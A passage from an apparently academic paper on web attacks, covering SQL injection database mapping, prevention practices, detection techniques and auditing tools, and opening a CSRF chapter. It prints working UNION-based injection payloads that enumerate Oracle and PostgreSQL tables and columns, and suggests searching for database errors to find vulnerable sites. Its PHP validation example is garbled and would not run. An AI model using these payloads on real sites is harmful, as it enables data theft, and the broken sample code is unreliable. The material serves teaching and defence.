    • 2. SQL Injectionfirstly to reveal the user name responsible for the Web-Application login to the DBMS at the time ofthe attack, see [28]:37 AND 1=0 UNION SELECT null, user, null, null FROM dual -- If this requirement is fulfilled, the intruder can proceed with the compromising of all table namescontaining the revealed user name, for example LEGALUSER, refer to original example in [28]:37 AND 1=0 UNION SELECT null, table_name, null, null FROM all_tablesWHERE owner = LEGALUSER -- Note that ORACE DBMS requires all values in system tables to be in capital letters. Other interesting system tables for the attacker could be: sys.tab( column tname),sys.user_tables( column table_name), sys.user_catalog( column table_name) etc, which representlinked tables to the compromised user name, here LEGALUSER. If the intruder reveals the table name collecting the user data, lets assume the table name isusers, he proceeds detecting the column-identifiers to extract the sensitive data. To achieve this hetries to extract the column-identifiers names related to the table users from the linked systemtables: all_tab_columns, all_tab_cols, or sys.user_tab_columns, using as filter criterion the name ofthe compromised table collecting the user data,which is users in this example, see [28]:37 AND 1=0 UNION SELECT null, column_name, null, null FROM all_tab_columnsWHERE table_name = USERS -- Note that concerning the optimized attacking manner, the system tables must be chosen wisely,the attacker attends to extract information from. If the intruder tries to trace the wholeall_tab_columns system table, this effort will cover the filtering of about 45000 table records bydefault. If the attacker succeeds with the extracting of the users column-identifiers, the revealing ofthe sensitive users data can be accomplished as well. Note that Oracle DBMS does not allow the usage of Stacked Queries. PostgreSQL Mapping In this case the intruder deploys generally the attacking scenario in an analogue manner to theprevious described DB Mapping approaches. Conforming the Oracle Mapping, the attacker pro-ceeds with compromising the system table pg_tables, as [28]: 39
    • 2. SQL Injection37 AND 1=0 UNION SELECT null, tablename, null, null FROM pg_tablesWHERE schemaname = public -- Alternatively the system tables : pg_stat_user_tables and pg_stat_user_tables could be ex-ploited as well. Note that the particular PostgreSQL function information_schema is available for this DBMSconcerning version 7.4 and above. If this requirement is fulfilled, the attacker can extract the colum-n-identifiers using information_schema.columns, as follows, [28]:37 AND 1=0 UNION SELECT null, column_name, null, nullFROM information_schema.columns WHERE table_name = users -- Another approach could be compromising the system table pg_catalog. The main advantagehere is, that there is no requirement to detect the user name of the currently logged user at the timeof the attack. The disadvantage utilizing this attacking scenario is the complex syntax, because theimportant linked tables concerning the column-identifiers are indexed by numbers and not by namesas in the previous cases, see [28], as follows an example concerning the injection query to retrievethe users table name:SELECT c.relname FROM pg_catalog.pg_class c LEFT JOINpg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (r,) ANDn.nspname NOT IN (pg_catalog,pg_toast) AND pg_catalog.pg_table_is_visible(c.oid) and further an example concerning its column-identifiers:SELECT c.relname FROM pg_catalog.pg_class C, pg_namespace N, pg_attribute A,pg_type T WHERE (C.relkind=r) AND (N.oid=C.relnamespace)AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0)AND (NOT A.attisdropped) AND (N.nspname ILIKE public) PostgreSQL allows the usage of Stacked Queries, though results are uncommonly returned in re-verse order, which is not the case in MSSQL. If the intruder attempts the query injection construct:SELECT 1; SELECT 2 The DBMS will return the result of the second SELECT statement prior to the result of the firstSELECT statement. Another approach to compromise user data on PostgreSQL is concerning the exploitation of theparticular DBMS function stat_command_string in configuration file postgresql.conf, setting the 40
    • 2. SQL Injectionfunction value to true. Note that this is the default case in PostgreSQL version 8.2 and above. Letsillustrate this on an example, [28] :37 AND 1=0 UNION SELECT null, current_query, null, null FROM pg_stat_activity -- Further more it is important to mention the fact, that PostgreSQL unlike the other DBMSes ex-erts greater user restriction. This means that, if a restricted user creates a table and is the only tablesowner no other user is allowed to access this table, which in some cases can prohibit data extractionfrom it. Thus the attacker is interested in compromising superuser accounts. The interested reader can obtain more detailed information on this topic at ( page 548, [28]). Furthermore, the following cheat sheets represent some of the most important and interestingSQLIA attacking techniques at a glance, please refer to [L27][L28][L29][L30][26]. Lets represent the last subclass completing the technical part of the SQLIA classification. We shall propose the name for this SQL Injection technique as follows. Compounded SQLIA This subclass describe SQL Injection attacks in combination with other Web 2.0 attacking vec-tors. Lets list some of them and give references respectively, for the reader concerned: • SQL Injection + Insufficient authentication39 [L7] • SQL Injection + DDos attacks40 [L8] • SQL Injection + DNS Hijacking41 [L9] • SQL Injection + XSS42 [L23] • SQL Injection + DDOS + CAPTCHAs[L42][L43] or [L44] Such examples are already known, though there is a specific Compounded SQLIA discovered in2007 by Dancho Danchev43, which is essential concerning the complete demonstration of the di-versity and complexity regarding the implementation and deployment of SQL Injection attacks.39 http://projects.webappsec.org/Insufficient-Authentication40 http://projects.webappsec.org/Denial-of-Service?SearchFor=distributed+denial+of+service&sp=141 http://en.wikipedia.org/wiki/DNS_hijacking42 http://projects.webappsec.org/Cross-Site+Scripting43 Independent security consultant, http://www.windowsecurity.com/Dancho_Danchev 41
    • 2. SQL Injection Fast-Fluxing SQLIA This attack illustrates a very efficient combination of XSS, CSRF with SQL Injection attackingvector. The Fast Flux44 technique represent an approach, considering DNS, to conceal and masquer-ade phishing and malware delivery Web sites utilized by botnets on behalf of compromised host act-ing like proxies. The first issue concerning the evolution of this attack is discovered on the 19. January 2007, con-cerning the widespread of the e-mail malware, Storm Worm45, on behalf of botnets. Dancho Danchev will announce in his blog46 couple of days later, that this issue should not bedescribed as a worm, moreover as a combination of social hacking and malware. The attack matures in a good example of fast-flux networks malware with implementation oftypical MPack style XOR-ifying javascript obfuscation. Afterwards another technique will find im-plementation concerning the further evaluation of the worm, Dropped Domains. Danchev will com-ment this as constantly changing social engineering tactics. In 2008 Joe Steward will comment themalware as Danmec/Asprox SQL Injection Attack. Nowadays the attack is known as a Aprox botnetSQLIA or Fast-Fluxing SQLIA, as Danchev. Lets illustrate the attacking scenario in general, asChris Pearson47: 1. Find a few permanent XSS vulnerabilities in some high traffic sites. 2. Find some CRSF vulns in popular blog and forum software. 3. Craft your payload. 4. Profit! The user concerned will find a good technical description of the implemented SQL Injection con-cerning the Fast-Fluxing threat at [43]. Moreover, this could be considered as an appropriate intro-duction of the next Web 2.0 attacking vector, which will be explained in Chapter 3 of this paper, theCross Site Reference/ Request Forgery attack. At last, a good walk-through concerning SQL Injection attacks and another examples of Com-pounded SQLIA is introduced at [44]; the reader concerned could consider also watching the splen-did presentation on Advanced SQL Injection of Joe McCray at LayerOne 2009, concerning also ex-amples on Best Practices in the successful deployment in the SQLIA scenario, see [L46]. Lets pro-ceed with the prevention techniques concerning the Web 2.0 SQL Injection attacking vector.44 http://en.wikipedia.org/wiki/Fast_flux45 http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1239899,00.html46 http://ddanchev.blogspot.com/2007/01/social-engineering-and-malware.html47 http://www.grumpysecurityguy.com/bots-web-vulnerabilites-approaching-storm/ 42
    • 2. SQL Injection2.3. SQL Injection prevention trends and methods This section concerns knowledge and systematic approaches regarding the deployment of ad-equate and efficient defensive and preventive techniques against SQL Injection attacks. The reader will learn about current trends and tendencies related to the proper utilization of suchsets of defensive techniques and methods concerning an effective and punctual applied prevention. As already known, the former section demonstrates the sophistication and mightiness of theSQLIA Web 2.0 attacking vector. A good classification is also applied to this. Lets introduce in this section methodologies and scenarios, which respond to such tasks and top-ics in an optimized manner. The chapter is organized as follows. As first, we shall introduce the Defensive Coding Practices,which will illustrate appropriate manual approaches, concerning the proposed tasks and topics inthis chapter. This will respond to the questions concerning Best Practices Approach. As next weshall describe detection and prevention techniques already known and approved. This part refersrather to the topics presenting the static and dynamic automated methods for detection and preven-tion of SQLIA. A more detailed discussion on the Tools, concerning the implementation of thesetechniques, the reader will find in the next section of the paper.2.3.1. Best Practices General Approaches Input type checking As stated in [27] the main cause for the existence of SQLIA is provoked by insufficient inputvalidation. In general, the input type, concerning DBMSes and their Front-Ends, is string or numer-ic. Cases of logical inputs can exist, example- return values, concerning the variable referenced toradio buttons of Web input form. The input checking and filtering could be from great help for pre-venting SQL Injection. For an instance, if the Web application requires integer return value from aspecific input field, the developer must specify this explicit in the code implementation, concerningthis input field. The more precise input type checking is implemented, the less violation on behalf ofinjections compromising return values of input source for the DBMS. Most developers neglect this, assuming the Internet user is typing strings by default. 43
    • 2. SQL Injection Encoding of inputs As described in the prior section, a favourite technique to exploit string inputs is achievedthrough malicious utilized meta-characters. This means that the intruder tricks the Web applicationto process SQL statements or queries instead of string input data. Filtering this, it is not a simpletask, because it can restrict the usability of the application and on another hand it can reduce theperformance of the Front-End of the DBMS. Therefore, main tasks, concerning this topic can be outlined as follows: how to filter malicious meta-characters, without restricting common usability issues(quotationmarks in user names: OReilly; hyphens in names: Droste-Hülshoff; spaces in names: Hoffmannvon Fallersleben etc.) and how to utilize precise input screening, without reducing the Web-Applic-ation-to-Internet-user interacting speed. Please refer to the example at the end of the subsection. Positive Pattern Matching This best practices approach concerns the modelling of patterns, allowing proper user inputs andopposing malicious input forms. Developers and security researcher deploy and implement suchmodels in automated tools for user input validation. Further, SQL statements in input forms, shouldbe called SQL tokens. Please, consider further reading on the part, concerning HoneyTokens. Identification of all input sources This best practices method covers issues related to the Web application architecture by design.Developers must be aware of possible user input locations applied to the software implementationas a construct. Knowing and isolating all kind of input sources concerning the Web Application isan essential hardening approach to restrict the occurrence of not sanitized user input and its con-sequent exploitation. Another interesting example for lack of input sanitization is demonstrated in ( page 31 and page32, [26]), please consider reading of this presentation. Both of the examples concern, possibleSQLIA on behalf of the misuse of: letter of referral , or RFID barcode. 44
    • 2. SQL Injection Use of CAPTCHAs48 As known, CAPTCHA stays for: Completely Automated Public Turing test to tell Computers andHumans Apart. The intent is good, though could such defensive technique be exploited and even bemisused for an utilisation of derivative attacks on behalf of the CAPTCHAs compromising? The implementation of CAPTCHAs in Web input forms could prevent from automated spam-ming of user the input. Though, the CAPTCHAs must be generated wisely, because there are ap-proaches to use OCR-scanner to bypass the CAPTCHAs protection in automated way, see further[L45], concerning execution of DoS attacks on behalf of SQL wildcards. Another example for Compounded SQLIA( please read further)- DDOS + SQLIA + CAPTCHAis demonstrated at [L42S],[L43], or [L44]. DBMS internal practices Data hashing The practices discussed in this section heretofore concern the front-end of the DBMS. There are also Best Practices to protect the stored data in the Database System as well. Data en-cryption could be a possible solution, though hashing utilizes better approach.username password salt49Gutsy Gibbon A1Hardy Herron b2Table 9: DBMS table hashing solution 1 The reader concerned, consider a drawback in this solution, which could be caused by BirthdayParadoxon50 issues. To avoid this, the DBMS developer can utilize the following solution as well:username password salt51 versionGutsy Gibbon A1 0.1Hardy Herron b2 0.5Table 10: DBMS table hashing solution 248 http://de.wikipedia.org/wiki/CAPTCHA49 http://de.wikipedia.org/wiki/Salted_Hash50 http://en.wikipedia.org/wiki/Birthday_problem51 http://de.wikipedia.org/wiki/Salted_Hash 45
    • 2. SQL Injection Another advantage of the applied solution is related to better auditing of the DBMS version up-dates. This is very important, because the different DBMS releases represent different security is-sues. Keeping the DBMS data record up-to-date is a further good approach to prevent possible datacompromising, caused by bad or insufficient hashing. These valuable advises are proposed by Alexander Kornbrust52. HoneyTables Another approach for internal DBMS hardening, presented again by Mr. Alexander Kornbrust, isthe HoneyTables auditing approach. The idea behind this approach is, that the DBMS administratorcan create a dummy database table, by design the same as such system table, which contains sensit-ive users information: password, personal information etc. The clue behind this idea is, the table isimplemented with build-in e-mailing function. If there are queries to this dummy table, then mostprobably, there is are security issues, concerning this and the DBMS developers must consider se-curity check on the DBMS implementation. Mr. Kornbrust was kind to provide the whole code sample, concerning possible HoneyTables im-plementation on Oracle, please refer to Appendix B, B.1 to review the source. SQLIA Prevention cheat sheets Such manuals with best practices advices summarized and approved by trusted knowledgesources like security experts or security organizations presume a good start, concerning hardeningthe Web Application and expanding the knowledge in the aspects of proper and secured code imple-mentation and deployment. Examples for such Best Practices cheat sheets can be found at [45]. Best Practices Example Lets demonstrate this on a simple particular example, concerning an user input validation form,written in PHP, applied to a Web form. Scenario: user must type Login-ID as valid e-mail53, specified as follows: valid characters- let-52 http://www.red-database-security.de/people/kornbrust.html53 http://regexlib.com/REDetails.aspx?regexp_id=295 46
    • 2. SQL Injectionters, numbers and email acceptable symbols (+, _, -, .); it is not allowed that, two different symbolsmay follow each other; it is not allowed that, e-mail can begin with a symbol; the endingdomain(Ex: .de) must be at least 2 letters; constructs of subdomains - TLD must be between 2 and 6letters (Ex: .ca, .museum), allowed special characters in a domain- only (-) and (.), explicit require-ment- to be not consecutively;and a valid password, specified as follows 54: min. 10 characters; atleast one one lower case letter, one upper case letter, one digit and one special character; valid spe-cial characters (which are configurable) are - @#$%^&+=. Please, consider to observe the filtering order presented in this example. This is important, be-cause it represents not only a complete Best Practices PHP- input data filtering implementation onbehalf of the given example. It also concerns issues like optimized input data filtering regardingtime and productivity aspects. This implementation can be deployed further regarding throwing er-ror messages, as already mentioned, in case of exception, the intruder must not be aware of the artof this exception. Otherwise the attacker can consider to utilize Illegal/ Logically Incorrect argu-ment exception or Conditional Errors SQLIA. Lets give a simple demonstration referring to this:<?try { // here comes the code sample of the login-validate-data-testblock listed below, without <? ?>} catch (Exception $e) { header("Location: http://www.my-login-site.com/");exit();// something wrong, go to login site}// …?> Please, refer further to the example:54 http://davidhayden.com/blog/dave/archive/2004/09/25/501.aspx 47
    • 2. SQL Injection1 <?2 //...3 // code sample of the login-validate-data-testblock4 if(isset($_POST[login])){5 $pN = $_POST[name];// the name from the inputfield6 $pP = $_POST[pass];// the password from the inputfield7 if(isset($pN) && $pN != && !is array($pN) &&8 isset($pP) && $pP != && !is array($pP){9 $Name = mysqli_real_escape_string(htmlspecialchars(nl2br($pN)));10 $Pass = mysqli_real_escape_string(htmlspecialchars(nl2br($pP)));11 $reg Name = /^(([A-Za-z0-9]+_+)|([A-Za-z0-9]+-+)|([A-Za-z0-9]+.+)|([A-Za-z0-9]+++))*[A-Za-z0-9]+@((w+-+)|(w+.))*w{1,63}.[a-zA-Z]{2,6}$ /;12 $reg Pass = /^.*(?=.{10,})(?=.*d)(?=.*[a-z])(?=.*[A-Z])(?=.*[@#$%^&+=]).*$ /;13 if( preg match( $reg Name, $Name) && preg match( $reg Pass, $Pass)){14 do_the_login();//just a procedural login example15 //...16 }17 }18 }19 ?> The filtering in this example is accomplished as follows: 1. check, whether all input fields are utilized AND are not empty AND are not arrays, 2. use only DBMS related characters, mysqli_real_escape_string(), 3. ignore commands in POST input fields, htmlspecialchars(), 4. remove potential new-line-to-break attempts 5. filter the POST input data on behalf of the Regular Expressions, concerning the proper forms for valid e-mail and valid password, as supposed in this example, 6. if OK, then utilize the user login.2.3.2 Detection and Prevention Techniques Lets introduce the main approaches concerning automated detection and prevention of SQLIA. Black Box Testing55 The author assumes, the reader is aware of the methods concerning this approach. Particular im-plementations of this general technique related to the SQLIA detection and prevention will be de-55 http://en.wikipedia.org/wiki/Black-box_testing 48
    • 2. SQL Injectionscribed as follows. A module for detection revealing all possible input sources in a Web applicationshould be implemented as part of the complex structure of the testing tool. A Module concerningSQLIA execution should be implemented as well. Furthermore there is a need of monitoring module, related to the accurate results tracing andanalysing. At last, an analysing module, concerning the attacks scenario optimization should be im-plemented as well. For examples describing such implementations, please consider further reading at [27]. Static Code Checkers56 The main feature characterizing this approach is: the Static Code Checkers are tools, which testsource code without executing it. Keeping this in mind, we shall consider that such tools could beuseful to accompany the development process of the Web Application deployment. Though, suchtools are sophisticated and they can be used properly typically by advanced programmers and codereviewers. Such tools can be categorized in: general purpose code checkers and those, concerningspecial purposes, like particular program classes testing. Most of the implementations of such static code checkers are expensive. Two important paradoxes are related to the utilization of such tools: • the tools produce false positive warnings and the developers dislike pay attention to those any more at all • the tools are not optimized in the execution of the checking routines, which means they run very slow and developers dislike to use them as redundant automated code reviewers fur- thermore Moreover such tools find implementation regarding better facilitating of ReverseEngineering( RE)57, like the deployment of Web Application is supported by new team of de-velopers or Web Application is already considered as SQLIA prone, which requires redundant waysof source code investigation and reviewing. There are reasonable implementations of Static Code Checkers, concerning better run of thechecking routines, based on formal methods. The author of the paper organizes a short opinion survey, concerning this topic, in the beginningof 2010. The amount of persons engaged in this survey is small, so there is no chance for empiric56 http://en.wikipedia.org/wiki/Static_code_analysis57 http://de.wikipedia.org/wiki/Reverse_Engineering 49
    • 2. SQL Injectionconclusions on behalf of it. Though, the given answers are completely opposite, comparing them tothe given statements above, concerning RE better approaches: none of the interviewed developers,or outsourcing manager consider the utilisation of static code analyser for RE, or code sanitisation... Please, consider further reading on this topic at [27]. Combined Static and Dynamic Analysis58 Lets illustrate the main advantages of the Dynamic Code analysers compared to the Static CodeCheckers. Dynamic Code Analyser can detect dynamic dependencies using Dynamic Reflection 59,Dependency Injection60, Polymorphism61. Moreover the Dynamic Analyser can collect temporal in-formation and very important deal with Run-Time values. Lets reveal also the disadvantages of the Dynamic Analysing approach, compared to the StaticAnalysing methods. The Dynamic checkers are much more complex than the Static tools and theycannot guarantee the full coverage of the source code, because of the fact, that the tools review userinteraction with the Web Application or the interaction of checker tools with the Web Application,[L32, L33]. The Combined Static and Dynamic Analysis approach tends to meld best of the both worlds. In [27] such tools are compared and discussed in detail. For the reader concerned, please refer to [L31] for a complete list of software testing techniques. Taint Based Approaches This approach has several implementations on behalf of Static Checkers and on Dynamic Ana-lysers. We shall only give a brief introduction to the implementations of this technique, as follows: • implementation based on Static Analysers on behalf of taint data flow analysis, concerning preconditions for sensitive functions • implementation based on dynamic taint analysis, considering modification of the program- ming interpreter to track precise per-character taint data flow • implementation deploying per-string basis data flow sanitization58 http://en.wikipedia.org/wiki/Dynamic_program_analysis59 http://www.lostechies.com/blogs/gabrielschenker/archive/2009/02/03/dynamic-reflection-versus-static- reflection.aspx60 http://en.wikipedia.org/wiki/Dependency_injection61 http://en.wikipedia.org/wiki/Polymorphism_in_object-oriented_programming 50
    • 2. SQL Injection Difficulties in the efficient utilization of such techniques are evoked by the not complete or notunambiguous identifying of all user input sources, which could be prone to taint data flows, relatedto high-modular Web Applications. Please, consider to read for more in formation at [27]. New Query Development Paradigms This approach proposes encapsulation of the utilized SQL queries on behalf of internal for theparticular Web Application type-checked API62. The API is implemented as an interface deployingBest Practices such as rigorous type checking and input filtering. Using this internal developmentparadigm, the developers are supported to produce secured code, without explicit considering to im-plement manual SQLIA Best Practices. Thus the method offers an effective way for SQLIA preven-tion by scaling the query-building process from the common one, considering string concatenation,to a systematic one based on the Web Application internal API deployment. Though there are two drawbacks, referenced to this technique: • the programmers should develop code concerning the API to access the DBMS in a proper way • this approach do not consider hardening of an existing developed code, the old code should be rewritten as well to apply the API Intrusion Detection Systems Such Intrusion Detection Systems( IDS) are based on the utilization of learning techniques onbehalf of dynamically updated and adapted rule-set-lists, concerning typical SQLIA queries violat-ing Web Applications. These shall be called Signatures of known exploits. Furthermore, the IDScreate abstract modules, derived from these typical SQL Injection queries, to achieve adequate mon-itoring of the Web Application at Run-Time. Such systems can detect SQLIA execution with highrate of success, though the implementation of optimized learning methods, which supports the cre-ation of the abstracts modules still concerns. Another interesting technique for utilisation of IDS represent the Honey Tokens. The Honey Token does not have specific implementation. It can be utilised as a credit card num-62 http://en.wikipedia.org/wiki/Api 51
    • 2. SQL Injectionber( variable), a database entry, a Web login, a presentation. The concept of the Honey Token can beexplained as follows: the Honey Token represents the value of a resource in digital, or informationform, concerning the unauthorised usage of this resource. Lets observe the following scenario: us-age of a credit card number; the credit card number has a validation usage algorithm, if utilisedwrong, it can cause an alarm and appropriate index entry into the system, concerning the card valid-ation. The Honey Tokens technique can be utilised well against insider attacks. The reader can find more information on the implementation of Signature IDS and Honey Tokenbased IDS, and a very interesting proposal for Anomaly Models based IDS at [46]. Proxy Filters This approach is human-based. This means, that application developers and of course Web Ap-plication administrators should be aware of the following important issues: • knowing every input source • knowing, which data must be filtered • knowing, what patterns and filtering apply to the input data Particular implementation of such Proxy Filters are the Web Application Firewalls 63( WAF).WAFs deploy input validation rules and accomplish data flow filtering concerning HTTP, whichmeans they should be considered as Application Layer Firewalls 64 and should not be confused withClassic Firewalls and IDSes. WAFs are deployed especially against XSS and SQLIA attacks. A possible drawback as already stated above, represent the OOB Channeling SQLIA. As a particular input source validation, the WAFs hardening requires proper port configurationand sanitisation, in other case the OOB Channeling SQLIA would be successfully deployed on be-half of an open port in the WAF as well. For the reader concerned, please refer to [47] for more information on WAF and WAF by-passing. Instruction Set Randomization An important requirement for the proper utilization of this approach is the deployment of a ProxyFilter. The Proxy must intercept the SQLIA before accessing the DBMS. The Web Application de-63 http://www.owasp.org/index.php/Web_Application_Firewall64 http://en.wikipedia.org/wiki/Application_layer_firewall 52
    • 2. SQL Injectionvelopers use randomization rules to create queries instead of common SQL statements, thus anSQLIA will be filtered because of its construct, which differ from those one created on behalf of therandomized instructions set. Further, the Proxy is responsible for the de-randomization. This ap-proach can be very effective, though there are two weak points, which can allow possible comprom-ising of the system: 1. the instruction set randomization is based on a secret key, the prevention system depends on the fact that the intruder will not discover it, because revealing the key makes the prevention technique worthless 2. the proxy can reduce the system performance, because of the overload imposed by the ran- domization/ de-randomization processes, if the attacker is aware of the utilization of such technique, flooding the proxy with SQLIA code could be used for inducing DoS attacks Lets proceed further with a couple of examples illustrating the tools implementations, concern-ing deployment, execution, prevention and detection related aspects regarding the SQL InjectionWeb 2.0 Attacking vector.2.4. Tools2.4.1 Development toolsWe shall introduce in this part of the discussion two frameworks, concerning the topics of securedWeb Application coding, deployment of Web 2.0 attacks and development of tool, implementingdifferent SQLIA techniques.OWASP WebGoat Projecthttp://www.owasp.org/index.php/Category:OWASP_WebGoat_ProjectTools demonstration: please, consider further reading on the CSRF Tools 3.4.This tool represents an environment, simulating an attacks prone Web Server. Thus the developercan utilize different SQL injection attacks as described in Section 2.2, in a term of the better under-standing on how they work. The advantages using this tool are: the developer can work offline on ahost machine in the same manner as connected to theinternet . Furthermore, the developer can apply different Best Practices techniques to the WebGoatenvironment and thus improve the Web Application coding hardening abilities on practice ex- 53
    • 2. SQL Injectionamples. This platform give also good chance, concerning know-how exchange between the pro-grammers, considering the WebGoat exploitation.Metasploithttp://www.metasploit.com/Tools implementation: http://www.youtube.com/watch?v=U0iNsA4-AB8 ( German)Essential part of the Metasploit Project represents the Metasploit Framework, concerning develop-ment and deployment of security exploitation code. There are many auditing tools, concerningSQLIA issues, related to this project.Furthermore, there are couple of interesting Web Sites, which also provide environments for testingthe attacking and hardening skills in a legal manner, such as: • http://demo.testfire.net/ • http://zero.webappsecurity.org/ • http://crackme.cenzic.com/ • http://testphp.acunetix.com/Google also provides such test site.Another interesting site, concerning the proper utilisation of Regular Expressions in pure education-al terms, which may be of great interest is: http://regexlib.com.2.4.2. Auditing toolsLets summarize the tools impact on Web Applications. In a word, it depends on the abilities of theattacker. If the attacker is in a possession of great intruder know-how, then he can utilize successfulattacks using the tools as well, compromising the Web Application.Some tools are GUI- based, others are in Unix-like manner command line tools.No matter, the graphical implementation, the tools can compromise systems, only if used properly.Concerning the utilisation aspect, we can consider the tools as follows: some of the tools are com-plex, other are more specific on particular SQLIA attacks implementation. An interesting bench-marking implementation represents the OWASP SQLiBench tool, please see further.A good criterion, concerning the utilisation aspect, could be the DBMSes support, the particular toolcan provide.Lets illustrate some of these Pen-Test tools. 54
    • 2. SQL InjectionNiktohttp://cirt.net/nikto2Tools demonstration: http://www.youtube.com/watch?v=UwzamgJ6Qt4&feature=relatedOpen-source Web application scanner tool. The tool represents a perl command line script.Pangolinhttp://www.darknet.org.uk/2009/05/pangolin-automatic-sql-injection-tool/Tools demonstration: http://www.youtube.com/watch?v=iYO7kmMOSiMVery powerful SQLIA tool with great DBMS support; can be utilized on Windows OSes.BSQL Hackerhttp://labs.portcullis.co.uk/application/bsql-hacker/Tools demonstration: http://www.youtube.com/watch?v=iblkDVvC6RwPerhaps the only software implementation, considering Deep Blind SQLIA.GUI based tool; can be utilized on Windows OSes.Netsparkerhttp://netsparker.com/netsparker/Tools demonstration: http://www.youtube.com/watch?v=6ArJ6D8tIJE , concerning LMI http://www.youtube.com/watch?v=d7f3Rbl_Y2I&feature=related , concern ing Reverse Shell65This tool is implemented by the same developer as the BSQL Hacker.Powerful scanner, concerning SQLIA and XSS.Has support for JavaScript, AJAX.65 http://www.cycom.se/dl/rrs 55
    • 2. SQL InjectionHP WebInspecthttps://h10078.www1.hp.com/cda/hpms/display/main/hpms_content.jsp?zn=bto&cp=1-11-201-200^9570_4000_100Tools demonstration: please, consider further reading on the CSRF Tools 3.4.Very comprehensive web scanner.Though, proprietary implementation.HP Scrawlrhttp://www.communities.hp.com/securitysoftware/forums/t/4958.aspxLightweight version of WebInspect. Very perfomative.IBM AppScanhttp://www-01.ibm.com/software/de/rational/appscan/index.htmlTools demonstration: please, consider further reading on the CSRF Tools 3.4.Proprietary solution, though proposes very interesting front-end, python based, the security review-er can accomplish some modifications, concerning more precised Web Applicaion auditing.sqlmaphttp://sqlmap.sourceforge.net/Tools demonstration: http://sqlmap.sourceforge.net/demo.html , SQLIA test page http://www.greensql.net/sql-injection-testOpen Source tool with a very good OS and DBMS support, as: MySQL, Oracle, PostgreSQL,MSSQL, Microsoft Access, DB2, Informix, Sybase and Interbase.Supported SQLIA: inferential blind SQL injection, UNION query (inband) SQL injection andbatched queries; time based blind SQL injection.The interested reader can find additional information on further Pen- Test tools like: mieliekoek.pl,wpoison, wapiti, w3af, paros, sqid at [L46]. 56
    • 2. SQL InjectionSQLiBenchhttp://www.owasp.org/index.php/Category:OWASP_Sqlibench_ProjectOpen-source tool, concerning benchmarking of auditing tools, related to the particular SQLIA de-ployments.Though the tool is very interesting and cover most of the SQLIA subclasses, it do not provide sup-port for Deep Blind SQL Injection.2.4.3. Prevention toolsWe shall consider in this group Firewall Proxies and IDS systems.GreenSQLhttp://www.greensql.net/Tools demonstration: http://www.greensql.net/node/3 , SQLIA test page http://www.greensql.net/sql-injection-testAn Open-Source implementation of DBMS Firewall.ModSecurityhttp://www.modsecurity.org/Tools presentation: http://www.youtube.com/watch?v=2Z_6Mq-zXjQOpen-Source Web Application Firewall.Excellent support.2.4.4. Helper ToolsAnother important topic propose these tools.We shall consider here the following issues and examples.The Web browser as SQLIA helper tool- just use Google and search for particular DBMS error andfind the compromised Web Site, see also ( page 20, [26]). 57
    • 2. SQL InjectionGoogle Video or YouTubeSearching the YouTube on the term Sql Injection returns around 700 results;searching the YouTube on the term CSRF return around 70 results.Consider both as very informative and concerning issues.Some examples:Compromising outdated CMS http://www.youtube.com/watch?v=5FxiYaflV-g&feature=relatedBypassing ineffective http://www.youtube.com/watch?v=jMQ2wdOmMIAjavascript inputfiltering( bypass client-sidefiltering)Simple scenario on exploiting http://www.youtube.com/watch?v=M5AmELXn3NcASP .Net authenticationform, using Google Searchand Inband ClassicSQLIA( Tautoligies etc.) 58
    • 3. CSRF3. CSRF3.1. Overview of the attacking vector The importance of the internet can be illustrated on behalf of many examples. Nowadays surfingthe internet is a common daily task, concerning the humans strive to keep the know-how up-to-dateand to stay informed. It is true that beside these essential aspects, the internet activity, concerningboth power internet user and the inexperienced one, witness the just-for-fun utilization of the com-munications in wide area networks using the HTTP Application Layer protocol. Nowadays,theWorld Wide Web is an imperative for usability and stable, boundless and continuous knowledgemedium. The Internet browser represents not only a client application for viewing Web content:Web Sites, Web Applications etc. It illustrates an interface, concerning the engagement of the inter-net user to this medium. Statistically, in 2007 68% of the population in Germany uses regularly internet, see [35]. Another interesting attack, concerning the exploitation of this every-day utilized interface, theWeb browser, represents the CSRF Web 2.0 attacking, which we shall discuss in the next section ofthis chapter 3. Discussing the structure of this chapter, it will be organized in an analogue manner as the chapter2, which concerns the SQL Injection attack, as already explained. In many aspects the author of thispaper will make references to the former chapter and use as assistance already discussed issues inchapter 2. Now lets proceed with the introduction of the CSRF attacking vector. The attack is proposed in 1988 by Norm Hardy[48], who will give it the name ConfusedDeputy66. The attack illustrates the compromised utilization of a creation and a file compilation ona UNIX-like system authorized by the exploitation of the home file license, concerning legal useron the operating system. This logic will be deployed later for the implementation of one of the mostimportant class of Web 2.0 attacks, the Cross Site Request Forgery attacking vector. It is essential toexplain the methods this attack is based on, because the attack demonstrates totally different ap-proach, considering the compromising and exploitation of modern Web Applications. Lets justmention the attacks names: Confused Deputy, Session Riding, Cross Site Reference Forgery, CrossSite Request Forgery, CSRF, XSRF, SeaSurfing attack, One-Click Attack. This appears confusing.There is no distinct name characterizing this attack. Furthermore we shall state that there is no un-66 http://en.wikipedia.org/wiki/Confused_deputy_problem 59
    • 3. CSRFambiguous technical realization of CSRF. The reason explaining this is, the attacks is based uponthe human factor. The attack in not a representative of a true technical related attacks. It is a mixedone, combining in its construct on one hand the evaluation of the technical knowledge and on an-other hand the ignorance of the internet user. Lets summarize the main features of the CSRF attack: • this is not a straightforward attacking approach, concerning immediate results/ feedback • the attack benefits the ignorance and lack of knowledge of the internet user • this attack is supportive in the sense of reinforcing other Web 2.0 attacking vectors Lets proceed with the revealing of the technical aspects, concerning this confusing attack.3.2. Attacking classification and techniques Unlike the SQLIA, as described in the prior chapter, the classification of the CSRF is more sim-pler and complanate and do not require class hierarchy evaluation on more than two sub-levels. Furthermore, explaining the CSRF attacking techniques is more than illustrating different casestudies of prior known attacking techniques. Therefore we shall introduce in this paper four interest-ing case studies concerning the implementation of CSRF, which are essential for the better under-standing of the attack and the illustration of the attacks impact. Some authors still mention idealized abstract examples to describe the attack. Though the authorof the paper tends to demonstrate real-life examples, which consider to represent straightforward thecompetition between the implementation of the attackers knowledge and the know-how of the se-curity experts and developers of security hardened Web Applications. As proposed in the formerchapter, lets suggest a classification of the CSRF attacking vector in the next Table, as follows: 60
